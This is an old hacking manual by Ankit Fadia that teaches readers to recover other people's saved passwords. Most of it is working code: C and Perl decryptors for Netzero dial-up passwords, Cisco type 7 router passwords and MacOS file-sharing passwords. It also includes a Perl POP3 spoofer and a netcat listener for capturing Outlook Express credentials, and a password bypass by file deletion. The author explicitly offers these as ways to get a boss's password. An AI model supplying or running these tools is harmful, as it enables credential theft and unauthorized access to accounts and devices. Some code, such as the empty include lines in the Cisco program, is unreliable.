Read till 11pages to be continued…

More Password Cracking Decrypted By Ankit Fadia ankit@bol.net.in

---

Welcome to another edition of Password Cracking Decrypted. In this manual we will learn, you guessed it, how to crack passwords. In this edition we have explanations to how to break more kinds of passwords.

Although this manual is quite easy to understand, I would definitely like to make one suggestion. To truly enjoy reading this manual, you need to know C relatively well. However, even if you have no idea what C is, I assure you that this manual will definitely be of use to you.

Cracking the Netzero (Free ISP) Dial Up Password

Today, the number of Internet Service Providers (both free and the not so free ones) has really reached a very high figure. All of them aim at providing better services and making the process of connecting to the Internet easier for the user. One common practice amongst both Internet Service Providers and popular browsers like Internet Explorer, have this option called 'Save Password', which makes life easier for the user, as it allows the user to not type in the password each time he has to connect to the Internet.

Although, like all other software, as soon as the developer tries to add a user friendly feature or make the software easier to use or more efficient, he has to make at least some compromise in the security or safety field. One popular example would be Outlook Express, ever since the Preview Pane has been introduced within the email client, Outlook Express users have become prone to Email-Borne Viruses.

Anyway, getting back to the subject of this tutorial, even including the 'Save Password' feature has made the User's Password unsafe. Now, what happens is that, when you check on this option or enable it, then the concerned software (Browser or Internet Service Provider Software) takes it passes it through an algorithm to encrypt it. Once, the

Password is encrypted, it is then stored in the Windows Registry or in some .ini or .dat or a similar file. Now, this system sounds quite safe, however, if you look deeper, then you find that it is trouble waiting to happen.

The very fact that the encrypted password has to be stored somewhere, makes this feature vulnerable. Also, almost all software providing this feature does not use a strong algorithm. This makes the work of a hacker really easy. Some software even stores the password as plaintext in the registry!!! So, basically the weakest chain in this feature is that most software developers are weary of the fact that the encrypted password can be easily decrypted, once we study the software inside out. So, what I mean to say is that using this feature although surely makes life easy, for those of you who cannot remember passwords, but it does leave your Internet Account vulnerable. However, if you are one of those people who needs to write down your password on a piece of paper and stick it to the front of your monitor, then this feature is definitely for you.

So how do I crack the Netzero Dial Up Password?

Anyway, Netzero is a free ISP, which asks only for a advertising bar in return for Internet Access. It too provides this 'Save Password' feature, however, it too like most services, uses an extremely weak algorithm to encrypt the password. The following process of decryption works on Netzero version 3.0 and earlier and requires Win 9x, NT or Win 2K to be running.

For this exploit, you need to have local access to the machine, which has the Netzero software installed.

This vulnerability cannot be exploited unless and until you get the required file, for that you either have to have local access or need to devise a method of getting the file, which contains the password.

The Netzero Username and Password are stored in an ASCII file named, id.dat, which is located in the Netzero directory. If the user has enabled the 'Save Password' option, then the Username and Password are also stored in the jnetz.prop file. The passwords stored in both these files are encrypted using a very simply easy to crack algorithm. Although the algorithms used to get the encrypted information (to be stored in the two files), are not same, however they are derived from the same main algorithm. Both the algorithms differ very slightly. In this manual we will learn as to how this weak algorithm can be exploited.

The Netzero Password is encrypted using a substitution cipher system. The cipher system used is a typical example of a 1 to 1 mapping between characters where each single plaintext character is replaced by a single encrypted character.

Are you lost? Well, to understand better read on.

Say, the Netzero application is running, and the user clicks on the ‘Save Password’ option and types his password in the required field. Now, then what happens is that, the Netzero Application loads the encrypting file, which contains the plaintext to cipher-text database into memory. Now, for example your password is xyz and it is stored in location ‘m’ of the memory and the corresponding encrypted password abc is stored in the location ‘n’ of the memory, then the password xyz actually is stored as abc.

Well it is quite simple, right? Well, almost. The part of the encryption algorithm used by Netzero which is difficult to understand, is that two encrypted characters replace each character of the plaintext password. These two encrypted characters replacing a single plaintext character, are however not stored together.

When substituting character x stored in i of a password ‘n’ characters long, the first encrypted character would be stored in ‘i’ and the next in ‘n+i.’

The two encrypted characters are derived from the following table:

	1	a	M	Q	f	7	g	T	9	4	L	W	e	6	y	C
g	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o
T	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~	
f	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
7	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_
Q	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?
M	SP	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/

NOTE: SP represents a single space and the above chart represents ASCII characters.

To encrypt a string of length ‘n’, we need to find each character in the above table and place the column header into i and place the row header into n+i.

For example:
E(a) = ag
E(aa) = aagg
E(aqAQ1!) = aaaaaagTf7QM
E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg

On the other hand, while decrypting the password of length 2n, then I will be become the element in the element in the above table where the column is headed by i and the row headed by n+i intersect.

For example:
D(af) = A
D(aaff) = AA
D(aaMMQQfgfgfg) = AaBbCc

Decrypting the password manually would be quite fun, but would definitely be a very time consuming process. Anyhow, I do suggest you try to decrypt the Netzero Password manually atleast once. For those of you, who do not enjoy decrypting passwords manually, I also have a C program, which will do it for you.

The following C program demonstrates how the Netzero Password is decrypted. Simply compile and execute in the directory in which the jnetz.prop exists.

```
#include <stdio.h>

#include <string.h>



#define UID_SIZE              64

#define PASS_CIPHER_SIZE          128

#define PASS_PLAIN_SIZE           64
```

```
#define BUF_SIZE 256


const char decTable[6][16] = {
  {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
  {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
  {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
  {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
  {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
  {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
};


int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],
  char cPlainPass[PASS_PLAIN_SIZE])
{
        int passLen, i, idx1, idx2;
        passLen = strlen(cCipherPass)/2;


        if (passLen > PASS_PLAIN_SIZE)
        {
                printf("Error: Plain text array too small\n");
                return 1;
        }
```

```
for (i = 0; i < passLen; i++)

{

          switch(cCipherPass[i])

          {

          case '1':

                    idx2 = 0; break;

          case 'a':

                    idx2 = 1; break;

          case 'M':

                    idx2 = 2; break;

          case 'Q':

                    idx2 = 3; break;

          case 'f':

                    idx2 = 4; break;

          case '7':

                    idx2 = 5; break;

          case 'g':

                    idx2 = 6; break;

          case 'T':

                    idx2 = 7; break;

          case '9':

                    idx2 = 8; break;

          case '4':
                idx2 = 9; break;
        case 'L':
                idx2 = 10; break;
        case 'W':
                idx2 = 11; break;
        case 'e':
                idx2 = 12; break;
        case '6':
                idx2 = 13; break;
        case 'y':
                idx2 = 14; break;
        case 'C':
                idx2 = 15; break;
        default:
                printf("Error: Unknown Cipher Text index: %c\n",
cCipherPass[i]);
                return 1;
                break;
        }

        switch(cCipherPass[i+passLen])
        {
        case 'g':
                idx1 = 0; break;
```

```
		case 'T':
			idx1 = 1; break;
		case 'f':
			idx1 = 2; break;
		case '7':
			idx1 = 3; break;
		case 'Q':
			idx1 = 4; break;
		case 'M':
			idx1 = 5; break;
		default:
			printf("Error: Unknown Cipher Text Set: %c\n",
			  cCipherPass[i+passLen]);
			return 1;
			break;
		}

		cPlainPass[i] = decTable[idx1][idx2];
	}
	cPlainPass[i] = 0;

	return 0;
}
```

```
int main(void)
{
	FILE *hParams;
	char cBuffer[BUF_SIZE], cUID[UID_SIZE];
	char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
	int done = 2;

	printf("\nNet Zero Password Decryptor\n");
	printf("Brian Carrier [bcarrier@atstake.com]\n");
	printf("@Stake L0pht Research Labs\n");
	printf("http://www.atstake.com\n\n");

	if ((hParams = fopen("jnetz.prop","r")) == NULL)
	{
		printf("Unable to find jnetz.prop file\n");
		return 1;
	}

	while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
	{
		if (strncmp(cBuffer, "ProfUID=", 8) == 0)
		{
```

```
                done--;

                strncpy(cUID, cBuffer + 8, UID_SIZE);

                printf("UserID: %s", cUID);

        }


        if (strncmp(cBuffer, "ProfPWD=", 8) == 0)

        {

                done--;

                strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);

                printf("Encrypted Password: %s", cCipherPass);


                if (nz_decrypt(cCipherPass, cPlainPass) != 0)

                        return 1;

                else

                        printf("Plain Text Password: %s\n", cPlainPass);

        }


}


fclose(hParams);


if (done > 0)

{
```

```
                printf("Invalid jnetz.prop file\n");

                return 1;

        } else {

                return 0;

        }

}
```

More NetZero Fun

Reinaldo Trujilo Adds:

Today we're going to tear apart the NetZero logon password.
Things you must keep in mind.

1. password format:0,n,i-n,1
2. based on the 0 counting system..ie. 0,1,2,3,4,5,etc
3. all passwords begin with a 0 and end with a 1

chart:

a=a A=#
b=? B=@
c=> C=!
d=< D=~
e=/ E==
f=. F=-
g=, G=`
h=" H=9
i=: I=8
j=' J=7
k=; K=6
l=l L=5
m=} M=4

n={ N=3
o=\ O=2
p=] P=1
q=[Q=0
r=+ R=Z
s=_ S=Y
t=) T=X
u=(U=W
v=* V=V
w=& W=U
x=^ X=T
y=% Y=S
z=$ Z=R

SPECIAL NOTE MUST READ: the letter "a" can be equal to "a" if its the first letter of the password,but anywhere else in the password it will take its N value's numeric value in the alphabet. I.e if "a" is the 5th letter in the password, its value would be the LETTER "e".(not e's encrypted value).

Alright..so lets decrypt our first password, lets keep it simple. Our plaintext password is going to be the word "amore".

1. Count the number of characters contained in the word.
   *in this case we have 5 characters
Note: we are counting on a 0 based system so the the word amore would look something like this:
a m o r e
0 1 2 3 4
Just keep that in mind

Note: each character in the word is assigned a numeric N value.(as shown above)

3. now write down the password like this:

  a m o r e
  0 1 2 3 4 <-N values
0   1 <--encrypted password

4.Now the chart says the encrypted character for "a"=a so we place that "a" under our plaintext "a"
  a m o r e
  0 1 2 3 4   <--N values
0 a   1 <--encrypted password
Note: every single first character of any password   will equal its value in the chart

5.now to get the second character we have a special equation"i-n=V" where "i" is the plaintext character, "n" is that characters numerical value, and V is the new encrypted value.

```
  a m o r e
  0 1 2 3 4   <--the N values.(ie.N value for "m" is 1)
0 a         1 <--encrypted password
```

now we go to the chart and find "m". You'll find that m=} but since our equation tells us that i-n=V we get our answer like this. m-1=l so our encrypted value for "m" now equals "|".
so our encrypted password now looks like this

```
  a m o r e
  0 1 2 3 4   <--N values
0 a l       1 <--Encrypted password
```

6.now we do the same thing for letter "o".
o-2=m. "o" now equals "}"

```
  a m o r e
  0 1 2 3 4   <-- N values
0 a l }     1 <--encrypted password
```

7. do the same for "r".
r-3=o. "r" now equals "\"

```
  a m o r e
  0 1 2 3 4   <--N values
0 a l } \   1 <--encrypted password
```

8. an now our last value "e".
e-4=a. "e" now equals "a"

```
  a m o r e
  0 1 2 3 4   <--N values
0 a l } \ a 1 <--Our full encrypted password
```

Result amore= 0al}\a1

I hope this has been useful. Enjoy.

Now you can type your encrypted password into the password field of your dialup program instead of having to use netzero's software.

P.S. one more thing.. the user name also has a special format.
it goes:

2.2.2:username@netzero.net

example if your user name is BigDaddy you'd put this in the user field of
your dialup program

2.2.2:BigDaddy@netzero.net

P.S.S. very important..i almost forgot, say you get the letter "b" as the
5th letter of your password, according to the chart(above) there is no more
spaces to move to. so what you do is follow the chart below like this

```
a a a a a b a a a a  a  a  a  a  a  a  a  a  a  a  <--original plaintext
0 1 2 3 4 5 6 7 8 9 10  11 12 13 14 15 16 17 18 19 20 <--N values
a b c d e f g h i j  k   l  m   n  o  p  q  r   s  t u <--password format
```

so "b" is the 5th letter. now its N value should be equalto "f" but since
there is a "b" is the second letter in the password format alphabet its N
value gets shifted back one space (remember we're on the 0 counting system
b=1 not 2). If 5th letter happened to be a "c" its N value would have been
shifted back two spaces. etc etc. Then you would just go on encrypting the
password as normal.

*in short, you take the the original plaintext letter's N value (5 in this
case) and you subract that letter's N (1 in this case) value in the password
format to get the new N value (4 in this case, which would make the new
letter "e").

Hopefully this cleared up what i meant, keep in mind that you only reference
this second chart below when you get a letter in the original plaintext
format who's plaintext N value is greater than its password format N value

****

HACKING TRUTH: By default Windows accepts both short and long passwords as the
Windows login password. Some users use extremely short passwords, which can easily
be brute forced. So in order to set the minimum number of characters or the minimum
length of the password, simply follow the following registry trick-:

Launch the Windows Registry Editor i.e. c:\windows\regedit.exe

Scroll down to the following registry key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network

Click on Edit > New DWORD Value.
Name this new DWORD value as MinPwdLen and in the data field, enter the minimum number of characters the password has to be of. One thing to note here is that this value is in Hexadecimal.
Now, Press F5 and your system just became a tiny bit securer but certainly not unhackable.

****

Cracking CISCO Router Passwords

Cisco Router hacking is considered to be extra elite and really kewl. It is really a great exercise for your gray cells, especially if the target system has Kerberos, a Firewall and some other Network Security software installed. Anyway, almost always the main motive behind getting root on a system is to get the password file. Once you get the Router password file, then you need to be able to decrypt the encrypted passwords stored by it. Well, in this section, we will learn just that.

The following is a C program which demonstrates how to decrypt a CISCO password.

```
#include
#include

char xlat[] = {
    0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
    0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
    0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
    unsigned int seed, i, val = 0;

    if(strlen(enc_pw) & 1)
            return(-1);

    seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

    if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
            return(-1);

    for (i = 2 ; i <= strlen(enc_pw); i++) {
            if(i !=2 && !(i & 1)) {
                    dec_pw[i / 2 - 2] = val ^ xlat[seed++];
                    val = 0;
            }

            val *= 16;

            if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
                    val += enc_pw[i] - '0';
                    continue;
            }

            if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
                    val += enc_pw[i] - 'A' + 10;
                    continue;
            }

            if(strlen(enc_pw) != i)
                    return(-1);
    }

    dec_pw[++i / 2] = 0;

    return(0);
}

usage()
{
    fprintf(stdout, "Usage: %s -p \n", pname);
    fprintf(stdout, "       %s  \n", pname);

    return(0);
}
```

```
main(argc,argv)
int argc;
char **argv;

{
	FILE *in = stdin, *out = stdout;
	char line[257];
	char passwd[65];
	unsigned int i, pw_pos;

	pname = argv[0];

	if(argc > 1)
	{
		if(argc > 3) {
			usage();
			exit(1);
		}

		if(argv[1][0] == '-')
		{
			switch(argv[1][1]) {
				case 'h':
				usage();
				break;

				case 'p':
				if(cdecrypt(argv[2], passwd)) {
					fprintf(stderr, "Error.\n");
					exit(1);
				}
				fprintf(stdout, "password: %s\n", passwd);
				break;

				default:
				fprintf(stderr, "%s: unknow option.", pname);
			}

			return(0);
		}

		if((in = fopen(argv[1], "rt")) == NULL)
			exit(1);
		if(argc > 2)
			if((out = fopen(argv[2], "wt")) == NULL)
```

```
                exit(1);
}

while(1) {
        for(i = 0; i < 256; i++) {
                if((line[i] = fgetc(in)) == EOF) {
                        if(i)
                                break;

                        fclose(in);
                        fclose(out);
                        return(0);
                }
                if(line[i] == '\r')
                        i--;

                if(line[i] == '\n')
                        break;
        }
        pw_pos = 0;
        line[i] = 0;

        if(!strncmp(line, pw_str1, strlen(pw_str1)))
                pw_pos = strlen(pw_str1);

        if(!strncmp(line, pw_str2, strlen(pw_str2)))
                pw_pos = strlen(pw_str2);

        if(!pw_pos) {
                fprintf(stdout, "%s\n", line);
                continue;
        }

        if(cdecrypt(&line[pw_pos], passwd)) {
                fprintf(stderr, "Error.\n");
                exit(1);
        }
        else {
                if(pw_pos == strlen(pw_str1))
                        fprintf(out, "%s", pw_str1);
                else
                        fprintf(out, "%s", pw_str2);

                fprintf(out, "%s\n", passwd);
        }
}
```

}

NOTE: The above works only on a Linux platform. If you are running Windows, then you will have to use
some brute force password cracker.

Bypassing the Dial Up Server Password

Those of you who have used File Sharing, must certainly have heard about the Dial Up Server software or utility. Now, this too can be password protected. Now, say you have password protected the Dial Up Server, and have forgotten it or someone has changed it, then no one can dial into your system. What do you do?

Like all password protection features in Win 9x systems, this too can easily be bypassed or changed. You do not need to know the previous old password to perform this hack. Simply delete the file RNA.pwl file in the c:\windows directory and the next time you use Dial Up Server, you will find that it will either ask you to enter a new password or simply not ask for a password at all.

Cracking Outlook Express's Password

After I released the first edition of - Password Cracking Decrypted Revisited, I got a lot of mails, from people asking me questions, like where Outlook Express stores the Dial Up Password and how to decrypt it or how to get the Outlook Express password of my boss, who is on the same LAN. Well, this edition will to a certain extend answer all such questions.

Outlook Express too like Internet Explorer and a number of other Dial Up Software, provides the user with the option of 'Save Password.' This option although it makes connecting to the net easy, is really a stupid security loophole and makes the password of the User vulnerable to being cracked.

Outlook Express stores the Dial Up Networking or DUN Password in the registry, under the following key:

HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts

Well, actually the above key has a number of sub keys, which correspond to and store information on various Internet Connection Accounts. The Accounts (information and configuration details) are stored as 00000001 for the first account, 00000003 for the third and so on.

Clicking on any of these Accounts Key, will display a number of DWORD, String and Binary values in the right pane. All these values store configuration details about how your Internet Connection Account works. However, the key with which we are really interested is only the: POP3 Password2 key.

The POP3 Password2 is the DWORD value, which stores your Internet Connection Password. Actually, it is not Outlook only, which uses, this key, but the Internet Connection Wizard, under which both Outlook and Internet Explorer come.

Anyway, now, once I did find out the key of Outlook express, I racked my brains to figure out the algorithm to decrypt the password so as to get the plaintext one, but somewhere along the way, when I was experimenting for another of my tutorials, I found out a way which would be much more easier, to get the Outlook Password. It requires no coding, no fancy C code editing and has no Mathematics of algorithms involved.

****

HACKING TRUTH: Common paths where some passwords are stored by various applications-:

Outlook Express / Internet Explorer ---
HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts

Panda Antivirus: HKEY_LOCAL_MACHINE\SOFTWARE\Panda Software\Panda Antivirus 6.0

Shares: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetDDE

Screen Saver: c:\windows\user.dat

****

Well, before we go on to the actual process, let us understand what Outlook usually does, while connecting to your mail server and downloading your email. Now, when you click on Send and Receive, Outlook Express connects to Port 110 of your Mail server and the following set of POP command exchange takes place between your system and the POP daemon of the mail server:

```
+OK QPOP (version 2.53) at delhi1.mtnl.net.in starting.

USER ankit

+OK Password required for ankit.

PASS abc

+OK ankit has xx messages (yyyyy octets).
```

So, this means that firstly, as soon as the daemon banner, comes up, Outlook sends your Username to the mail server, then once the Password required Message, comes up, Outlook sends your password. This in turn means that your password is being sent to the remote system and (I am sure, almost all of you have guessed it by now) if this remote system has a port listener installed, then you can get both the User name and Password.

So what you have to do is:

1.) Change Outlook Express's Mail Server setting to point to almost always a local machine or a machine where you are able to install and run a port listener.

2.) Connect to the Internet and click on Send/Receive just as you normally do, and voila, the listener, gets the password for you. It is as simple as that.

This technique works with almost all email clients including Netscape Messenger. It will not work only with those clients, which ask for a password for you to be able to change the mail server settings.

Where do I get a Port Listener? Well, you can them as well as all the Hacking utility you need from either www.anticode.com or packetstorm.securify.com

However, again nothing is more enjoyable and satisfactory than to write your own Port Listener. It can easily be written in either C or Perl. Infact the following is a Perl script, which acts as a port listener:

```
# This is a simple tcp server that listens on port 110
# unless another is specified.
# The possible uses of this are;
#   Netscape/explorer mail password caching/grabbing
# In netscape edit your prefs.js file so that your pop
# server is your own ip (127.0.0.1) then open netscape
# and click on get mail then this will capture the user.name
# and password. (ps- dont edit your pop account in netscape
# or it will erase the password and prompt for a new one)

# I havent got explorer but the pop server can be changed in
# the registry same should work for other email clients that
# allow password caching.

# Most of this coding was already in the /perl/eg/ folder
# you can find the orginal version there ..
```

```
print "============================\n";
print " Manicx local POP3 spoofer\n";
print " www.infowar.co.uk/manicx/\n";
print "============================\n";

($port) = @ARGV;
$port = 110 unless $port;    # Are port is 110 unless specified

$AF_INET = 2;
$SOCK_STREAM = 1;

$sockaddr = 'S n a4 x8';

($name, $aliases, $proto) = getprotobyname('tcp');
if ($port !~ /^\d+$/) { ($name, $aliases, $port) = getservbyport($port,
'tcp');}

print "Port = $port\n";

$this = pack($sockaddr, $AF_INET, $port, "\0\0\0\0");

select(NS); $| = 1; select(stdout);

socket(S, $AF_INET, $SOCK_STREAM, $proto) || die "socket: $!";
bind(S,$this) || die "bind: $!";
listen(S,5) || die "connect: $!";

select(S); $| = 1; select(stdout);

print "Listening for connection....\n";

($addr = accept(NS,S)) || die $!;

print "Accept ok\n";

($af,$port,$inetaddr) = unpack($sockaddr,$addr);
@inetaddr = unpack('C4',$inetaddr);

   print NS "+OK manicx POP3 sniffer ready.\n";

   getuserandpass();     # call on our sub
   bluffothers();        # call on other sub

#------------------------------------
sub bluffothers{
   $cmd = <NS>;
```

```
    print $cmd;
    $cmd =~ s/\s//g;

if ($cmd eq 'STAT')
        {
         print NS "+OK 0 0\n";
         print "Client wants STAT sent bluff message\n";
         bluffothers();
        }
elsif ($cmd eq 'QUIT')
        {
        print "Client wants QUIT sent disconnect\n";
        print NS "+OK 127.0.0.1 POP3 server closing connection\n";
        sleep 5;    #so we dont have an error message in netscape
        }

else
        {
         print "Dont know what client wants sending bluff +ok\n";
         print NS "+OK\n";
         bluffothers();
        }
}
#-------------------------------------
sub getuserandpass {
    $user = <NS>;
    $user =~ s/\s//g;
    if ($user eq 'AUTH')
        {
         print NS "-ERR USER or QUIT\n";
         print "Client wants AUTH? Sent error message :)\n";
         getuserandpass()
        }
     else
        {
         print $user, "\n";
         print NS "+OK Pass\n";
         $pass = <NS>;
         print $pass;
         print NS "+OK Maildrop has 0 messages (0 octets)\n";
        }
}
```

Now, say you do not want to run the above program or somehow do not like the idea of working with port listener, then, you can use a very interesting tool by L0pht.com called Netcat. This tool is really very amazing and before you read this manual further, I suggest you read its documentation at l0pht.com as I will not be discussing it's various interesting options in this manual.

Anyway, the following command will create a simple Port Listener sort of utility, which will listen to the specified port and will record all data sent to it, in the log file specified.

```
C:\>nc –l –p xx > file
```

Where xx is the port number, which has to be listened, and file is the path of log file, where all keystrokes or everything entered by the person who connected to Port xx are recorded.

Note: The '-l' option listens for connections, while '-p xx' is used to specify the port to which you want Netcat to bind to.

Now, in our case, we want to bind Netcat to Port 110, listen for connections and record all keystrokes, so we use the following command:

```
C:\>nc –l –p 110 > log.txt
```

Well, actually all methods described in this method to steal the passwords stored by those software which have the 'Save Password' feature are not really needed. Almost all password including, Windows Login, Outlook Express, DUN and a few others will easily get unmasked, by using programs, like: Revelation

Such a program will basically convert the ' *'s to plaintext. You can get it at: Revelation.

Cracking the CISCO IOS Password

The following Perl Script, demonstrates how to decrypt the CISCO IOS passwords.

```
#!/usr/bin/perl -w

# $Id: ios7decrypt.pl,v 1.1 1998/01/11 21:31:12 mesrik Exp $

#

# Credits for orginal code and description hobbit@avian.org,

# SPHiXe, .mudge et al. and for John Bashinski <jbash@CISCO.COM>

# for Cisco IOS password encryption facts.

#

# Use for any malice or illegal purposes strictly prohibited!

#


@xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41,

        0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c,

        0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 );


while (<>) {

      if (/(password|md5)\s+7\s+([\da-f]+)/io) {

         if (!(length($2) & 1)) {

            $ep = $2; $dp = "";
            ($s, $e) = ($2 =~ /^(..)(.+)/o);

            for ($i = 0; $i < length($e); $i+=2) {

               $dp .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++];

            }

            s/$ep/$dp/;

         }

      }

      print;

}
```

Cracking the MacOS Password

The following piece of code demonstrates the working of the algorithm used by MacOS to encrypt password and also how to decrypt such passwords. So Enjoy!!!!

```
/*

 macfspwd.c

 Written by Nate Pierce

 luphus@iastate.edu

 http://happiness.dhs.org

 July 14, 1999


 Algorithm taken from:
```

http://www.securityfocus.com/vdb/bottom.html?section=discussion&vid=519

I have tested this on 8.6 and it works fine as well.

Compiled quite peachily on linux 2.2.10 with:

```
g++ -o macfspwd macfspwd.c
```

Run example (with debug on):

```
[user@server user]$ ./macfspwd 000406180D0A190B

Original string: 00 04 06 18 0d 0a 19 0b

1st XOR string:  00 00 04 06 18 0d 0a 19

2nd XOR string:  73 70 63 67 74 70 72 6b

Password is: stayaway
```

----- from the url above -----

The encryption algorithm in MacOS system is simple and the password can be easily

decoded.

Password is stored in Users & Groups Data File in Preferences folder. Offset is different on

each system and depends on Users & Groups configuration, but it always lie after owner's

username. It's not so difficult to find it using a hex editor, even if we don't know owner's

username.

Here are some examples of encrypted passwords:

00 04 06 18 0D 0A 19 0B = stayaway

0A 1F 10 1B 00 07 75 1E = yellow

1C 1B 16 14 12 62 10 7B = owner

07 02 13 1A 1E 0F 1A 14 = turnpage

27 25 33 27 27 39 24 7E = Trustno1

AA BB CC DD EE FF GG HH = aa bb cc dd ee ff gg hh

where:

AA BB CC DD EE FF GG HH - encrypted password (hex)

aa bb cc dd ee ff gg hh - decrypted password in ASCII codes (hex)

aa=AA XOR 73H

bb=BB XOR AA XOR 70H

cc=CC XOR BB XOR 63H

dd=DD XOR CC XOR 67H

ee=EE XOR DD XOR 74H

ff=FF XOR EE XOR 70H

gg=GG XOR FF XOR 72H

hh=HH XOR GG XOR 6BH

An example:

Let's take OO 04 06 18 0D 0A 19 0B

00H XOR 73H = 73H = s

04H XOR 00H = 04H; 04H XOR 70H = 74H = t

06H XOR 04H = 02H; O2H XOR 63H = 61H = a

18H XOR 06H = 1EH; 1EH XOR 67H = 79H = y

0DH XOR 18H = 15H; 15H XOR 74H = 61H = a

0AH XOR 0DH = 07H; 07H XOR 70H = 77H = w

19H XOR 0AH = 13H; 13H XOR 72H = 61H = a

0BH XOR 19H = 12H; 12H XOR 6BH = 79H = y

tested on:

MacOS 7.5.3, 7.5.5, 8.1, 8.5.

copied verbatim from a post to bugtraq by Dawid adix Adamski <adixx@FRIKO4.ONET.PL> on

July 10, 1999

----- snip -----

*/

```
#include<iostream.h>

#include<iomanip.h>

#include<fstream.h>
```

```
#include<string.h>


/* comment this out if don't want to see the extra info */

#define DEBUG


/* I think the max password length for file sharing is 8 characters */

#define PWLEN 8


int hexdig(char q);

/* returns decimal equiv if q is 0-9, a-f, or A-F */


int hexint(char p,char q);

/* returns value of 2 digits spliced together - hexint(15,15) will return 255 */


int main(int argc, char *argv[]){

  int s1[10],s2[10],s3[10],i;

  char pwd[PWLEN+1];


/* first string - try 000406180D0A190B */

  if(argc>1){

    for(i=0;i<strlen(argv[argc-1]);i+=2){

      if(hexdig(argv[argc-1][i])&&hexdig(argv[argc-1][i+1]))s1[i/2]=hexint(argv[argc-
1][i],argv[argc-1][i+1]);
```

```
      else{

        cout<<"\nError: last argument should be a 16 digit hex number! (no spaces
please)\n";

        return 1;

      }

    }

  }



/* chunk in 2nd XOR string - based on the string from the file*/

  s2[0]=0x0;

  for(i=0;i<PWLEN-1;i++){

    s2[i+1]=s1[i];

  }



/* chunk in final XOR string - this is constant */

  s3[0]=0x73;

  s3[1]=0x70;

  s3[2]=0x63;

  s3[3]=0x67;

  s3[4]=0x74;

  s3[5]=0x70;

  s3[6]=0x72;

  s3[7]=0x6B;
```

```
#ifdef DEBUG
  cout<<"Original string: ";
  for(i=0;i<PWLEN;i++){
    if(s1[i]<0x10)cout<<"0";
    cout<<hex<<s1[i]<<" ";
  }
  cout<<"\n1st XOR string:  ";
  cout<<"00 ";
  for(i=0;i<PWLEN-1;i++){
    if(s2[i+1]<0x10)cout<<"0";
    cout<<hex<<s2[i+1]<<" ";
  }
  cout<<"\n2nd XOR string:  ";
  for(i=0;i<PWLEN;i++){
    if(s3[i]<0x10)cout<<"0";
    cout<<hex<<s3[i]<<" ";
  }
  cout<<endl;
#endif

  cout<<"Password is: ";
  for(i=0;i<PWLEN;i++)pwd[i]=s1[i]^s2[i]^s3[i];
  pwd[PWLEN]=0x0;

  cout<<pwd<<endl;



  return 0;

}



int hexdig(char q){

  if(q>47 && q<58)return 48;

  if(q>64 && q<71)return 55;

  if(q>96 && q<103)return 87;

  return 0;

}



int hexint(char p,char q){

  return 16*(p-hexdig(p))+(q-hexdig(q));

}
```

Well, that is all for now, I will update this manual explaining how to crack more passwords very very soon, so hang in there.

Ankit Fadia

ankit@bol.net.in